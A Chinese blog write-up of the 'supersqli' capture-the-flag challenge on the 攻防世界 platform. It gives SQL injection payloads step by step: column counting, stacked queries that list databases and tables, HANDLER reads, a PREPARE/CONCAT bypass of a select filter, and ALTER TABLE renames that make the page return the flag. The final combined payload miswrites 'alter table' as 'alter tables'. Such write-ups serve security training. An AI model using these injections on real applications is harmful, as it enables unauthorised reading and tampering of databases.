攻防世界之supersqli

目录

SQL注入的确定

字段判断

爆表

联合查询

堆叠注入

字段查询

handler查询法

预编译绕过法

修改原查询法


打开连接

SQL注入的确定

查询1跟2,页面正常显示

查询1' and 1=1 ,出现SQL报错,说明存在SQL注入

字段判断

查询

1' order by 1 #    

1' order by 2 #

页面都能正常显示

但是查询1' order by 3 #的时候页面出现错误

说明SQL语句的字段为2

爆表

联合查询

试着基础的查询

-1' union select 1,databases #

 

页面报错,select被过滤掉了 ,也不能用大小写法绕过,看来得换种方法了

堆叠注入

先看看所有数据库,查询

-1'; show databases; # 

 这下就看见所有数据库了,根据题目提示,我们先看看supersqli这个数据库

 -1';use supersqli;show tables;#

 看到有两张表,纯数字的表比较可疑,先看看里面有啥字段

 -1';use supersqli;show columns from `1919810931114514`;#                   

当纯数字字符串是表名的时候需要加反引号` 

拿到了flag的位置,接着查看flag

字段查询

handler查询法

MYSQL神秘的HANDLER命令与实现方法_Mysql_脚本之家 (jb51.net)

 查询

-1';use supersqli;handler `1919810931114514` open as p;handler p read first;#

拿到flag

预编译绕过法

若是直接查询

select flag from `1919810931114514`

就可以直接拿到flag,可是select 被过滤掉了,所以我们可以通过预编译来绕过select的过滤

-1';

set @sql = CONCAT('sele','ct flag from `1919810931114514`;');

prepare stmt from @sql;

EXECUTE stmt;#

 接着查询

 发现set 跟 prepare被函数strstr过滤掉了,但是strstr函数不区分大小写,所以我们可以改一下大小写来绕过strstr函数

拿到flag

修改原查询法

原理就是没有过滤掉alter,将字段flag改为1,在查询的时候直接出现flag

先看看我们一开始查询1的时候那表在哪,这里我们知道原查询默认的数据库就是supersqli

 所以知道原查询就在表words的字段id里头了

将放着flag的表1919810931114514名字改成words

alter table `1919810931114514` rename to words

表里头字段名flag改成id

alter table words change flag id varchar(100)

就行了

即查询

-1';

alter tables words rename kkk;

alter tables `1919810931114514` rename words;

alter tables words change flag id varchar(100);#

然后在查询1' or 1#

就拿到flag了

  • 23
    点赞
  • 43
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

金 帛

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值